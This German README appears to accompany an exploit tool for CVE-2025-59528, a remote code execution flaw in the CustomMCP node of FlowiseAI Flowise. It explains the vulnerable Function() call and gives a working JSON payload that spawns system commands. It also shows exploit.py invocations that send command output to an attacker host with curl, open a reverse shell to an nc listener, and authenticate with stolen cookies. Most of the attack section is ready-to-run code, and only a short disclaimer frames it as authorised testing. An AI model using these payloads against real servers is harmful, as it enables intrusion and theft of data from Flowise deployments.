
CVE-2025-59528 - FlowiseAI CustomMCP Remotecodeausführung
CVSS 10.0 (Critical) | Blind RCE | FlowiseAI Flowise >= 2.2.7-patch.1 und < 3.0.6
Eine kritische Remote-Code-Execution-Schwachstelle im CustomMCP-Knoten von FlowiseAI Flowise. Die Funktion convertToValidJSONString übergibt benutzergesteuerte Eingaben aus dem Parameter mcpServerConfig direkt an den Function()-Konstruktor von JavaScript, der funktional äquivalent zu eval() ist, wodurch die Ausführung beliebigen JavaScript-Codes mit vollständigen Node.js-Laufzeitprivilegien ermöglicht wird.
Function() wurde durch JSON5.parse() ersetzt)In packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, Zeilen 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← beliebige Codeausführung
}
Der Taint-Flow:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
Hierbei handelt es sich um ein blindes RCE – die Befehlsausgabe wird nicht in der HTTP-Antwort widergespiegelt. Verwenden Sie Callback-Techniken (curl/wget) oder eine Reverse Shell, um die Ausführung zu bestätigen.
| Bedingung | Details |
|---|---|
| Flowise-Version | >= 2.2.7-patch.1, < 3.0.6 |
| Netzwerkzugriff | API-Endpunkt auf Port 3000 (Standard) |
| Authentifizierung | Optional für < 3.0.1, erforderlich für >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Ausgabe per Callback exfiltrieren
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Listener starten
nc -lvnp 4444
# Exploit ausführen (versucht automatisch bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT-Auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic Auth (Flowise < 3.0.1 mit FLOWISE_USERNAME-Umgebungsvariable)
--username admin --password pass
# Raw-Cookie-String (Fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCP überwachenDieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Holen Sie vor dem Testen stets eine ordnungsgemäße Genehmigung ein.